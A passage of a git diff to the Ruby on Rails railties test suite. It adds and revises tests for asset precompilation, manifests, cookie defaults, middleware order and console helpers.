File.exist?(file) } end t.libs << 'test' diff --git a/railties/railties.gemspec b/railties/railties.gemspec index b917128885..a7b9407daf 100644 --- a/railties/railties.gemspec +++ b/railties/railties.gemspec @@ -12,7 +12,7 @@ Gem::Specification.new do |s| s.email = 'david@loudthinking.com' s.homepage = 'http://www.rubyonrails.org' - s.files = Dir['CHANGELOG', 'README.rdoc', 'bin/**/*', 'guides/**/*', 'lib/**/{*,.[a-z]*}'] + s.files = Dir['CHANGELOG.md', 'README.rdoc', 'bin/**/*', 'guides/**/*', 'lib/**/{*,.[a-z]*}'] s.require_path = 'lib' s.bindir = 'bin' diff --git a/railties/test/application/asset_debugging_test.rb b/railties/test/application/asset_debugging_test.rb new file mode 100644 index 0000000000..1b99af22a4 --- /dev/null +++ b/railties/test/application/asset_debugging_test.rb @@ -0,0 +1,65 @@ +require 'isolation/abstract_unit' +require 'rack/test' + +module ApplicationTests + class AssetDebuggingTest < Test::Unit::TestCase + include ActiveSupport::Testing::Isolation + include Rack::Test::Methods + + def setup + build_app(:initializers => true) + + app_file "app/assets/javascripts/application.js", "//= require_tree ." + app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }" + app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>" + + app_file "config/routes.rb", <<-RUBY + AppTemplate::Application.routes.draw do + match '/posts', :to => "posts#index" + end + RUBY + + app_file "app/controllers/posts_controller.rb", <<-RUBY + class PostsController < ActionController::Base + end + RUBY + + ENV["RAILS_ENV"] = "production" + + boot_rails + end + + def teardown + teardown_app + end + + test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do + # config.assets.debug and config.assets.compile are false for production environment + ENV["RAILS_ENV"] = "production" + capture(:stdout) do + Dir.chdir(app_path){ `bundle exec rake assets:precompile` } + end + require "#{app_path}/config/environment" + + class ::PostsController < ActionController::Base ; end + + # the debug_assets params isn't used if compile is off + get '/posts?debug_assets=true' + assert_match(/<script src="\/assets\/application-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body) + assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body) + end + + test "assets aren't concatened when compile is true is on and debug_assets params is true" do + app_file "config/initializers/compile.rb", "Rails.application.config.assets.compile = true" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + class ::PostsController < ActionController::Base ; end + + get '/posts?debug_assets=true' + assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body) + assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body) + end + end +end diff --git a/railties/test/application/assets_test.rb b/railties/test/application/assets_test.rb index 7fb930bd99..a22013f81c 100644 --- a/railties/test/application/assets_test.rb +++ b/railties/test/application/assets_test.rb @@ -1,3 +1,4 @@ +# -*- coding: utf-8 -*- require 'isolation/abstract_unit' require 'active_support/core_ext/kernel/reporting' require 'rack/test' @@ -20,8 +21,14 @@ module ApplicationTests @app ||= Rails.application end + def precompile! + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:precompile` } + end + end + test "assets routes have higher priority" do - app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();" + app_file "app/assets/javascripts/demo.js.erb", "a = <%= image_path('rails.png').inspect %>;" app_file 'config/routes.rb', <<-RUBY AppTemplate::Application.routes.draw do @@ -32,11 +39,13 @@ module ApplicationTests require "#{app_path}/config/environment" get "/assets/demo.js" - assert_match "alert()", last_response.body + assert_equal 'a = "/assets/rails.png";', last_response.body.strip end test "assets do not require compressors until it is used" do app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();" + add_to_env_config "production", "config.assets.compile = true" + ENV["RAILS_ENV"] = "production" require "#{app_path}/config/environment" @@ -46,29 +55,250 @@ module ApplicationTests assert defined?(Uglifier) end - test "precompile creates the file and gives it the original asset's content" do + test "precompile creates the file, gives it the original asset's content and run in production as default" do app_file "app/assets/javascripts/application.js", "alert();" app_file "app/assets/javascripts/foo/application.js", "alert();" - capture(:stdout) do - Dir.chdir(app_path){ `bundle exec rake assets:precompile` } - end + ENV["RAILS_ENV"] = nil + precompile! + files = Dir["#{app_path}/public/assets/application-*.js"] + files << Dir["#{app_path}/public/assets/application.js"].first files << Dir["#{app_path}/public/assets/foo/application-*.js"].first + files << Dir["#{app_path}/public/assets/foo/application.js"].first files.each do |file| assert_not_nil file, "Expected application.js asset to be generated, but none found" - assert_equal "alert();\n", File.read(file) + assert_equal "alert()", File.read(file) end end - test "precompile appends the md5 hash to files referenced with asset_path" do + test "precompile application.js and application.css and all other files not ending with .js or .css by default" do + app_file "app/assets/javascripts/application.js", "alert();" + app_file "app/assets/stylesheets/application.css", "body{}" + + app_file "app/assets/javascripts/someapplication.js", "alert();" + app_file "app/assets/stylesheets/someapplication.css", "body{}" + + app_file "app/assets/javascripts/something.min.js", "alert();" + app_file "app/assets/stylesheets/something.min.css", "body{}" + + images_should_compile = ["a.png", "happyface.png", "happy_face.png", "happy.face.png", + "happy-face.png", "happy.happy_face.png", "happy_happy.face.png", + "happy.happy.face.png", "happy", "happy.face", "-happyface", + "-happy.png", "-happy.face.png", "_happyface", "_happy.face.png", + "_happy.png"] + + images_should_compile.each do |filename| + app_file "app/assets/images/#{filename}", "happy" + end + + precompile! + + images_should_compile.each do |filename| + assert File.exists?("#{app_path}/public/assets/#{filename}") + end + + assert File.exists?("#{app_path}/public/assets/application.js") + assert File.exists?("#{app_path}/public/assets/application.css") + + assert !File.exists?("#{app_path}/public/assets/someapplication.js") + assert !File.exists?("#{app_path}/public/assets/someapplication.css") + + assert !File.exists?("#{app_path}/public/assets/something.min.js") + assert !File.exists?("#{app_path}/public/assets/something.min.css") + end + + test "asset pipeline should use a Sprockets::Index when config.assets.digest is true" do + add_to_config "config.assets.digest = true" + add_to_config "config.action_controller.perform_caching = false" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + assert_equal Sprockets::Index, Rails.application.assets.class + end + + test "precompile creates a manifest file with all the assets listed" do app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + app_file "app/assets/javascripts/application.js", "alert();" + # digest is default in false, we must enable it for test environment + add_to_config "config.assets.digest = true" - capture(:stdout) do - Dir.chdir(app_path){ `bundle exec rake assets:precompile` } + precompile! + manifest = "#{app_path}/public/assets/manifest.yml" + + assets = YAML.load_file(manifest) + assert_match(/application-([0-z]+)\.js/, assets["application.js"]) + assert_match(/application-([0-z]+)\.css/, assets["application.css"]) + end + + test "precompile creates a manifest file in a custom path with all the assets listed" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + app_file "app/assets/javascripts/application.js", "alert();" + # digest is default in false, we must enable it for test environment + add_to_config "config.assets.digest = true" + add_to_config "config.assets.manifest = '#{app_path}/shared'" + + precompile! + manifest = "#{app_path}/shared/manifest.yml" + + assets = YAML.load_file(manifest) + assert_match(/application-([0-z]+)\.js/, assets["application.js"]) + assert_match(/application-([0-z]+)\.css/, assets["application.css"]) + end + + test "the manifest file should be saved by default in the same assets folder" do + app_file "app/assets/javascripts/application.js", "alert();" + # digest is default in false, we must enable it for test environment + add_to_config "config.assets.digest = true" + add_to_config "config.assets.prefix = '/x'" + + precompile! + + manifest = "#{app_path}/public/x/manifest.yml" + assets = YAML.load_file(manifest) + assert_match(/application-([0-z]+)\.js/, assets["application.js"]) + end + + test "precompile does not append asset digests when config.assets.digest is false" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + app_file "app/assets/javascripts/application.js", "alert();" + add_to_config "config.assets.digest = false" + + precompile! + + assert File.exists?("#{app_path}/public/assets/application.js") + assert File.exists?("#{app_path}/public/assets/application.css") + + manifest = "#{app_path}/public/assets/manifest.yml" + + assets = YAML.load_file(manifest) + assert_equal "application.js", assets["application.js"] + assert_equal "application.css", assets["application.css"] + end + + test "assets do not require any assets group gem when manifest file is present" do + app_file "app/assets/javascripts/application.js", "alert();" + add_to_env_config "production", "config.serve_static_assets = true" + + ENV["RAILS_ENV"] = "production" + precompile! + + manifest = "#{app_path}/public/assets/manifest.yml" + assets = YAML.load_file(manifest) + asset_path = assets["application.js"] + + require "#{app_path}/config/environment" + + # Checking if Uglifier is defined we can know if Sprockets was reached or not + assert !defined?(Uglifier) + get "/assets/#{asset_path}" + assert_match "alert()", last_response.body + assert !defined?(Uglifier) + end + + test "assets raise AssetNotPrecompiledError when manifest file is present and requested file isn't precompiled" do + app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'app' %>" + + app_file "config/routes.rb", <<-RUBY + AppTemplate::Application.routes.draw do + match '/posts', :to => "posts#index" + end + RUBY + + ENV["RAILS_ENV"] = "production" + precompile! + + # Create file after of precompile + app_file "app/assets/javascripts/app.js", "alert();" + + require "#{app_path}/config/environment" + class ::PostsController < ActionController::Base ; end + + get '/posts' + assert_match(/AssetNotPrecompiledError/, last_response.body) + assert_match(/app.js isn't precompiled/, last_response.body) + end + + test "assets raise AssetNotPrecompiledError when manifest file is present and requested file isn't precompiled if digest is disabled" do + app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'app' %>" + add_to_config "config.assets.compile = false" + + app_file "config/routes.rb", <<-RUBY + AppTemplate::Application.routes.draw do + match '/posts', :to => "posts#index" + end + RUBY + + ENV["RAILS_ENV"] = "development" + precompile! + + # Create file after of precompile + app_file "app/assets/javascripts/app.js", "alert();" + + require "#{app_path}/config/environment" + class ::PostsController < ActionController::Base ; end + + get '/posts' + assert_match(/AssetNotPrecompiledError/, last_response.body) + assert_match(/app.js isn't precompiled/, last_response.body) + end + + test "precompile properly refers files referenced with asset_path and and run in the provided RAILS_ENV" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + # digest is default in false, we must enable it for test environment + add_to_env_config "test", "config.assets.digest = true" + + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:precompile RAILS_ENV=test` } end + file = Dir["#{app_path}/public/assets/application.css"].first + assert_match(/\/assets\/rails\.png/, File.read(file)) file = Dir["#{app_path}/public/assets/application-*.css"].first - assert_match /\/assets\/rails-([0-z]+)\.png/, File.read(file) + assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file)) + end + + test "precompile shouldn't use the digests present in manifest.yml" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + + ENV["RAILS_ENV"] = "production" + precompile! + + manifest = "#{app_path}/public/assets/manifest.yml" + assets = YAML.load_file(manifest) + asset_path = assets["application.css"] + + app_file "app/assets/images/rails.png", "image changed" + + precompile! + assets = YAML.load_file(manifest) + + assert_not_equal asset_path, assets["application.css"] + end + + test "precompile appends the md5 hash to files referenced with asset_path and run in production as default even using RAILS_GROUPS=assets" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + add_to_config "config.assets.compile = true" + + ENV["RAILS_ENV"] = nil + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:precompile RAILS_GROUPS=assets` } + end + file = Dir["#{app_path}/public/assets/application-*.css"].first + assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file)) + end + + test "precompile should handle utf8 filenames" do + filename = "レイルズ.png" + app_file "app/assets/images/#{filename}", "not a image really" + add_to_config "config.assets.precompile = [ /\.png$/, /application.(css|js)$/ ]" + + precompile! + require "#{app_path}/config/environment" + + get "/assets/#{URI.parser.escape(filename)}" + assert_match "not a image really", last_response.body + assert File.exists?("#{app_path}/public/assets/#{filename}") end test "assets are cleaned up properly" do @@ -76,14 +306,25 @@ module ApplicationTests app_file "public/assets/application.css", "a { color: green; }" app_file "public/assets/subdir/broken.png", "not really an image file" - capture(:stdout) do + quietly do Dir.chdir(app_path){ `bundle exec rake assets:clean` } end - files = Dir["#{app_path}/public/assets/**/*"] + files = Dir["#{app_path}/public/assets/**/*", "#{app_path}/tmp/cache/*"] assert_equal 0, files.length, "Expected no assets, but found #{files.join(', ')}" end + test "assets routes are not drawn when compilation is disabled" do + app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();" + add_to_config "config.assets.compile = false" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + get "/assets/demo.js" + assert_equal 404, last_response.status + end + test "does not stream session cookies back" do app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();" @@ -109,5 +350,141 @@ module ApplicationTests assert_match "alert()", last_response.body assert_equal nil, last_response.headers["Set-Cookie"] end + + test "files in any assets/ directories are not added to Sprockets" do + %w[app lib vendor].each do |dir| + app_file "#{dir}/assets/#{dir}_test.erb", "testing" + end + + app_file "app/assets/javascripts/demo.js", "alert();" + + require "#{app_path}/config/environment" + + get "/assets/demo.js" + assert_match "alert();", last_response.body + assert_equal 200, last_response.status + end + + test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do + app_with_assets_in_view + + # config.assets.debug and config.assets.compile are false for production environment + ENV["RAILS_ENV"] = "production" + precompile! + + require "#{app_path}/config/environment" + + class ::PostsController < ActionController::Base ; end + + # the debug_assets params isn't used if compile is off + get '/posts?debug_assets=true' + assert_match(/<script src="\/assets\/application-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body) + assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body) + end + + test "assets aren't concatened when compile is true is on and debug_assets params is true" do + app_with_assets_in_view + add_to_env_config "production", "config.assets.compile = true" + add_to_env_config "production", "config.assets.allow_debugging = true" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + class ::PostsController < ActionController::Base ; end + + get '/posts?debug_assets=true' + assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body) + assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body) + end + + test "assets can access model information when precompiling" do + app_file "app/models/post.rb", "class Post; end" + app_file "app/assets/javascripts/application.js", "//= require_tree ." + app_file "app/assets/javascripts/xmlhr.js.erb", "<%= Post.name %>" + + add_to_config "config.assets.digest = false" + precompile! + assert_equal "Post;\n", File.read("#{app_path}/public/assets/application.js") + end + + test "assets can't access model information when precompiling if not initializing the app" do + app_file "app/models/post.rb", "class Post; end" + app_file "app/assets/javascripts/application.js", "//= require_tree ." + app_file "app/assets/javascripts/xmlhr.js.erb", "<%= defined?(Post) || :NoPost %>" + + add_to_config "config.assets.digest = false" + add_to_config "config.assets.initialize_on_precompile = false" + + precompile! + assert_equal "NoPost;\n", File.read("#{app_path}/public/assets/application.js") + end + + test "enhancements to assets:precompile should only run once" do + app_file "lib/tasks/enhance.rake", "Rake::Task['assets:precompile'].enhance { puts 'enhancement' }" + output = precompile! + assert_equal 1, output.scan("enhancement").size + end + + test "digested assets are not mistakenly removed" do + app_file "app/assets/application.js", "alert();" + add_to_config "config.assets.compile = true" + add_to_config "config.assets.digest = true" + + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:clean assets:precompile` } + end + + files = Dir["#{app_path}/public/assets/application-*.js"] + assert_equal 1, files.length, "Expected digested application.js asset to be generated, but none found" + end + + test "digested assets are removed from configured path" do + app_file "public/production_assets/application.js", "alert();" + add_to_env_config "production", "config.assets.prefix = 'production_assets'" + + ENV["RAILS_ENV"] = nil + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:clean` } + end + + files = Dir["#{app_path}/public/production_assets/application.js"] + assert_equal 0, files.length, "Expected application.js asset to be removed, but still exists" + end + + test "asset urls should use the request's protocol by default" do + app_with_assets_in_view + add_to_config "config.asset_host = 'example.com'" + require "#{app_path}/config/environment" + class ::PostsController < ActionController::Base; end + + get '/posts', {}, {'HTTPS'=>'off'} + assert_match('src="http://example.com/assets/application.js', last_response.body) + get '/posts', {}, {'HTTPS'=>'on'} + assert_match('src="https://example.com/assets/application.js', last_response.body) + end + + test "asset urls should be protocol-relative if no request is in scope" do + app_file "app/assets/javascripts/image_loader.js.erb", 'var src="<%= image_path("rails.png") %>";' + add_to_config "config.assets.precompile = %w{image_loader.js}" + add_to_config "config.asset_host = 'example.com'" + precompile! + + assert_match 'src="//example.com/assets/rails.png"', File.read("#{app_path}/public/assets/image_loader.js") + end + + + private + + def app_with_assets_in_view + app_file "app/assets/javascripts/application.js", "//= require_tree ." + app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }" + app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>" + + app_file "config/routes.rb", <<-RUBY + AppTemplate::Application.routes.draw do + match '/posts', :to => "posts#index" + end + RUBY + end end end diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb index 448982f9de..28ffff58ca 100644 --- a/railties/test/application/configuration_test.rb +++ b/railties/test/application/configuration_test.rb @@ -306,7 +306,7 @@ module ApplicationTests require "#{app_path}/config/environment" require "mail" - ActionMailer::Base + _ = ActionMailer::Base assert_equal [::MyMailInterceptor], ::Mail.send(:class_variable_get, "@@delivery_interceptors") end @@ -319,7 +319,7 @@ module ApplicationTests require "#{app_path}/config/environment" require "mail" - ActionMailer::Base + _ = ActionMailer::Base assert_equal [::MyMailInterceptor, ::MyOtherMailInterceptor], ::Mail.send(:class_variable_get, "@@delivery_interceptors") end @@ -332,7 +332,7 @@ module ApplicationTests require "#{app_path}/config/environment" require "mail" - ActionMailer::Base + _ = ActionMailer::Base assert_equal [::MyMailObserver], ::Mail.send(:class_variable_get, "@@delivery_notification_observers") end @@ -345,7 +345,7 @@ module ApplicationTests require "#{app_path}/config/environment" require "mail" - ActionMailer::Base + _ = ActionMailer::Base assert_equal [::MyMailObserver, ::MyOtherMailObserver], ::Mail.send(:class_variable_get, "@@delivery_notification_observers") end @@ -476,7 +476,7 @@ module ApplicationTests app_file 'app/controllers/posts_controller.rb', <<-RUBY class PostsController < ApplicationController - def index + def create render :text => params[:post].inspect end end @@ -521,9 +521,11 @@ module ApplicationTests make_basic_app assert_respond_to app, :env_config - assert_equal app.env_config['action_dispatch.parameter_filter'], app.config.filter_parameters - assert_equal app.env_config['action_dispatch.secret_token'], app.config.secret_token - assert_equal app.env_config['action_dispatch.show_exceptions'], app.config.action_dispatch.show_exceptions + assert_equal app.env_config['action_dispatch.parameter_filter'], app.config.filter_parameters + assert_equal app.env_config['action_dispatch.secret_token'], app.config.secret_token + assert_equal app.env_config['action_dispatch.show_exceptions'], app.config.action_dispatch.show_exceptions + assert_equal app.env_config['action_dispatch.logger'], Rails.logger + assert_equal app.env_config['action_dispatch.backtrace_cleaner'], Rails.backtrace_cleaner end end end diff --git a/railties/test/application/console_test.rb b/railties/test/application/console_test.rb index 1528d5dd87..2073c780bf 100644 --- a/railties/test/application/console_test.rb +++ b/railties/test/application/console_test.rb @@ -18,16 +18,20 @@ class ConsoleTest < Test::Unit::TestCase Rails.application.load_console end + def irb_context + Object.new.extend(Rails::ConsoleMethods) + end + def test_app_method_should_return_integration_session TestHelpers::Rack.send :remove_method, :app load_environment - console_session = app + console_session = irb_context.app assert_instance_of ActionDispatch::Integration::Session, console_session end def test_new_session_should_return_integration_session load_environment - session = new_session + session = irb_context.new_session assert_instance_of ActionDispatch::Integration::Session, session end @@ -41,7 +45,7 @@ class ConsoleTest < Test::Unit::TestCase ActionDispatch::Reloader.to_prepare { c = 3 } # Hide Reloading... output - silence_stream(STDOUT) { reload! } + silence_stream(STDOUT) { irb_context.reload! } assert_equal 1, a assert_equal 2, b @@ -66,12 +70,13 @@ class ConsoleTest < Test::Unit::TestCase MODEL assert !User.new.respond_to?(:age) - silence_stream(STDOUT) { reload! } + silence_stream(STDOUT) { irb_context.reload! } assert User.new.respond_to?(:age) end def test_access_to_helpers load_environment + helper = irb_context.helper assert_not_nil helper assert_instance_of ActionView::Base, helper assert_equal 'Once upon a time in a world...', diff --git a/railties/test/application/middleware/cache_test.rb b/railties/test/application/middleware/cache_test.rb index e656ada3c0..050a2161ae 100644 --- a/railties/test/application/middleware/cache_test.rb +++ b/railties/test/application/middleware/cache_test.rb @@ -31,6 +31,10 @@ module ApplicationTests $last_modified ||= Time.now.utc render_conditionally(:last_modified => $last_modified) end + + def keeps_if_modified_since + render :text => request.headers['If-Modified-Since'] + end private def render_conditionally(headers) if stale?(headers.merge(:public => !params[:private])) @@ -47,6 +51,16 @@ module ApplicationTests RUBY end + def test_cache_keeps_if_modified_since + simple_controller + expected = "Wed, 30 May 1984 19:43:31 GMT" + + get "/expires/keeps_if_modified_since", {}, "HTTP_IF_MODIFIED_SINCE" => expected + + assert_equal 200, last_response.status + assert_equal expected, last_response.body, "cache should have kept If-Modified-Since" + end + def test_cache_is_disabled_in_dev_mode simple_controller app("development") diff --git a/railties/test/application/middleware/cookies_test.rb b/railties/test/application/middleware/cookies_test.rb new file mode 100644 index 0000000000..13556cbed2 --- /dev/null +++ b/railties/test/application/middleware/cookies_test.rb @@ -0,0 +1,47 @@ +require 'isolation/abstract_unit' + +module ApplicationTests + class CookiesTest < Test::Unit::TestCase + include ActiveSupport::Testing::Isolation + + def new_app + File.expand_path("#{app_path}/../new_app") + end + + def setup + build_app + boot_rails + FileUtils.rm_rf("#{app_path}/config/environments") + end + + def teardown + teardown_app + FileUtils.rm_rf(new_app) if File.directory?(new_app) + end + + test 'always_write_cookie is true by default in development' do + require 'rails' + Rails.env = 'development' + require "#{app_path}/config/environment" + assert_equal true, ActionDispatch::Cookies::CookieJar.always_write_cookie + end + + test 'always_write_cookie is false by default in production' do + require 'rails' + Rails.env = 'production' + require "#{app_path}/config/environment" + assert_equal false, ActionDispatch::Cookies::CookieJar.always_write_cookie + end + + test 'always_write_cookie can be overrided' do + add_to_config <<-RUBY + config.action_dispatch.always_write_cookie = false + RUBY + + require 'rails' + Rails.env = 'development' + require "#{app_path}/config/environment" + assert_equal false, ActionDispatch::Cookies::CookieJar.always_write_cookie + end + end +end diff --git a/railties/test/application/middleware/sendfile_test.rb b/railties/test/application/middleware/sendfile_test.rb index c7a1c573f9..d2ad2668bb 100644 --- a/railties/test/application/middleware/sendfile_test.rb +++ b/railties/test/application/middleware/sendfile_test.rb @@ -27,11 +27,12 @@ module ApplicationTests end # x_sendfile_header middleware - test "config.action_dispatch.x_sendfile_header defaults to ''" do + test "config.action_dispatch.x_sendfile_header defaults to nil" do make_basic_app simple_controller get "/" + assert !last_response.headers["X-Sendfile"] assert_equal File.read(__FILE__), last_response.body end diff --git a/railties/test/application/middleware/show_exceptions_test.rb b/railties/test/application/middleware/show_exceptions_test.rb index e3f27f63c3..7dbadc6ce3 100644 --- a/railties/test/application/middleware/show_exceptions_test.rb +++ b/railties/test/application/middleware/show_exceptions_test.rb @@ -1,27 +1,23 @@ +# encoding: utf-8 require 'isolation/abstract_unit' +require 'rack/test' module ApplicationTests class ShowExceptionsTest < Test::Unit::TestCase include ActiveSupport::Testing::Isolation + include Rack::Test::Methods def setup build_app boot_rails - FileUtils.rm_rf "#{app_path}/config/environments" end def teardown teardown_app end - def app - @app ||= Rails.application - end - test "unspecified route when set action_dispatch.show_exceptions to false" do - make_basic_app do |app| - app.config.action_dispatch.show_exceptions = false - end + app.config.action_dispatch.show_exceptions = false assert_raise(ActionController::RoutingError) do get '/foo' @@ -29,13 +25,36 @@ module ApplicationTests end test "unspecified route when set action_dispatch.show_exceptions to true" do - make_basic_app do |app| - app.config.action_dispatch.show_exceptions = true - end + app.config.action_dispatch.show_exceptions = true assert_nothing_raised(ActionController::RoutingError) do get '/foo' end end + + test "displays diagnostics message when exception raised in template that contains UTF-8" do + app.config.action_dispatch.show_exceptions = true + + controller :foo, <<-RUBY + class FooController < ActionController::Base + def index + end + end + RUBY + + app_file 'app/views/foo/index.html.erb', <<-ERB + <% raise 'boooom' %> + ✓ + ERB + + app_file 'config/routes.rb', <<-RUBY + AppTemplate::Application.routes.draw do + match ':controller(/:action)' + end + RUBY + + post '/foo', :utf8 => '✓' + assert_match(/boooom/, last_response.body) + end end end diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb index bed5ba503f..4703a59326 100644 --- a/railties/test/application/middleware_test.rb +++ b/railties/test/application/middleware_test.rb @@ -30,6 +30,7 @@ module ApplicationTests "ActiveSupport::Cache::Strategy::LocalCache", "Rack::Runtime", "Rack::MethodOverride", + "ActionDispatch::RequestId", "Rails::Rack::Logger", # must come after Rack::MethodOverride to properly log overridden methods "ActionDispatch::ShowExceptions", "ActionDispatch::RemoteIp", @@ -69,6 +70,14 @@ module ApplicationTests assert middleware.include?("Rack::SSL") end + test "Rack::SSL is configured with options when given" do + add_to_config "config.force_ssl = true" + add_to_config "config.ssl_options = { :host => 'example.com' }" + boot! + + assert_equal AppTemplate::Application.middleware.first.args, [{:host => 'example.com'}] + end + test "removing Active Record omits its middleware" do use_frameworks [] boot! diff --git a/railties/test/application/rack/logger_test.rb b/railties/test/application/rack/logger_test.rb index 8b2b2f1802..387eb25525 100644 --- a/railties/test/application/rack/logger_test.rb +++ b/railties/test/application/rack/logger_test.rb @@ -12,6 +12,8 @@ module ApplicationTests build_app require "#{app_path}/config/environment" super + @logger = MockLogger.new + Rails.stubs(:logger).returns(@logger) end def teardown diff --git a/railties/test/application/rackup_test.rb b/railties/test/application/rackup_test.rb index ff9cdcadc7..86e1995def 100644 --- a/railties/test/application/rackup_test.rb +++ b/railties/test/application/rackup_test.rb @@ -6,7 +6,7 @@ module ApplicationTests def rackup require "rack" - app, options = Rack::Builder.parse_file("#{app_path}/config.ru") + app, _ = Rack::Builder.parse_file("#{app_path}/config.ru") app end diff --git a/railties/test/application/rake_test.rb b/railties/test/application/rake_test.rb index cc65a674c9..c76bc3d526 100644 --- a/railties/test/application/rake_test.rb +++ b/railties/test/application/rake_test.rb @@ -1,3 +1,4 @@ +# coding:utf-8 require "isolation/abstract_unit" module ApplicationTests @@ -79,13 +80,13 @@ module ApplicationTests silence_stderr do output = Dir.chdir(app_path){ `rake test` } - assert_match /Errors running test:units! #<ActiveRecord::AdapterNotSpecified/, output - assert_match /Errors running test:functionals! #<RuntimeError/, output - assert_match /Errors running test:integration! #<RuntimeError/, output + assert_match(/Errors running test:units! #<ActiveRecord::AdapterNotSpecified/, output) + assert_match(/Errors running test:functionals! #<RuntimeError/, output) + assert_match(/Errors running test:integration! #<RuntimeError/, output) end end - def test_rake_routes_output_strips_anchors_from_http_verbs + def test_rake_routes_calls_the_route_inspector app_file "config/routes.rb", <<-RUBY AppTemplate::Application.routes.draw do get '/cart', :to => 'cart#show' @@ -94,99 +95,6 @@ module ApplicationTests assert_equal "cart GET /cart(.:format) cart#show\n", Dir.chdir(app_path){ `rake routes` } end - def test_rake_routes_shows_custom_assets - app_file "config/routes.rb", <<-RUBY - AppTemplate::Application.routes.draw do - get '/custom/assets', :to => 'custom_assets#show' - end - RUBY - assert_equal "custom_assets GET /custom/assets(.:format) custom_assets#show\n", - Dir.chdir(app_path){ `rake routes` } - end - - def test_rake_routes_shows_resources_route - app_file "config/routes.rb", <<-RUBY - AppTemplate::Application.routes.draw do - resources :articles - end - RUBY - expected = - " articles GET /articles(.:format) articles#index\n" << - " POST /articles(.:format) articles#create\n" << - " new_article GET /articles/new(.:format) articles#new\n" << - "edit_article GET /articles/:id/edit(.:format) articles#edit\n" << - " article GET /articles/:id(.:format) articles#show\n" << - " PUT /articles/:id(.:format) articles#update\n" << - " DELETE /articles/:id(.:format) articles#destroy\n" - assert_equal expected, Dir.chdir(app_path){ `rake routes` } - end - - def test_rake_routes_shows_root_route - app_file "config/routes.rb", <<-RUBY - AppTemplate::Application.routes.draw do - root :to => 'pages#main' - end - RUBY - assert_equal "root / pages#main\n", Dir.chdir(app_path){ `rake routes` } - end - - def test_rake_routes_shows_controller_and_action_only_route - app_file "config/routes.rb", <<-RUBY - AppTemplate::Application.routes.draw do - match ':controller/:action' - end - RUBY - assert_equal " /:controller/:action(.:format) \n", Dir.chdir(app_path){ `rake routes` } - end - - def test_rake_routes_shows_controller_and_action_route_with_constraints - app_file "config/routes.rb", <<-RUBY - AppTemplate::Application.routes.draw do - match ':controller(/:action(/:id))', :id => /\\d+/ - end - RUBY - assert_equal " /:controller(/:action(/:id))(.:format) {:id=>/\\d+/}\n", Dir.chdir(app_path){ `rake routes` } - end - - def test_rake_routes_shows_route_with_defaults - app_file "config/routes.rb", <<-RUBY - AppTemplate::Application.routes.draw do - match 'photos/:id' => 'photos#show', :defaults => {:format => 'jpg'} - end - RUBY - assert_equal %Q[ /photos/:id(.:format) photos#show {:format=>"jpg"}\n], Dir.chdir(app_path){ `rake routes` } - end - - def test_rake_routes_shows_route_with_constraints - app_file "config/routes.rb", <<-RUBY - AppTemplate::Application.routes.draw do - match 'photos/:id' => 'photos#show', :id => /[A-Z]\\d{5}/ - end - RUBY - assert_equal " /photos/:id(.:format) photos#show {:id=>/[A-Z]\\d{5}/}\n", Dir.chdir(app_path){ `rake routes` } - end - - def test_rake_routes_shows_route_with_rack_app - app_file "lib/rack_app.rb", <<-RUBY - class RackApp - class << self - def call(env) - end - end - end - RUBY - - app_file "config/routes.rb", <<-RUBY - require 'rack_app' - - AppTemplate::Application.routes.draw do - match 'foo/:id' => RackApp, :id => /[A-Z]\\d{5}/ - end - RUBY - - assert_equal " /foo/:id(.:format) RackApp {:id=>/[A-Z]\\d{5}/}\n", Dir.chdir(app_path){ `rake routes` } - end - def test_logger_is_flushed_when_exiting_production_rake_tasks add_to_config <<-RUBY rake_tasks do @@ -219,6 +127,55 @@ module ApplicationTests assert_match(/AddEmailToUsers: reverted/, output) end + def test_migration_status_when_schema_migrations_table_is_not_present + output = Dir.chdir(app_path){ `rake db:migrate:status` } + assert_equal "Schema migrations table does not exist yet.\n", output + end + + def test_migration_status + 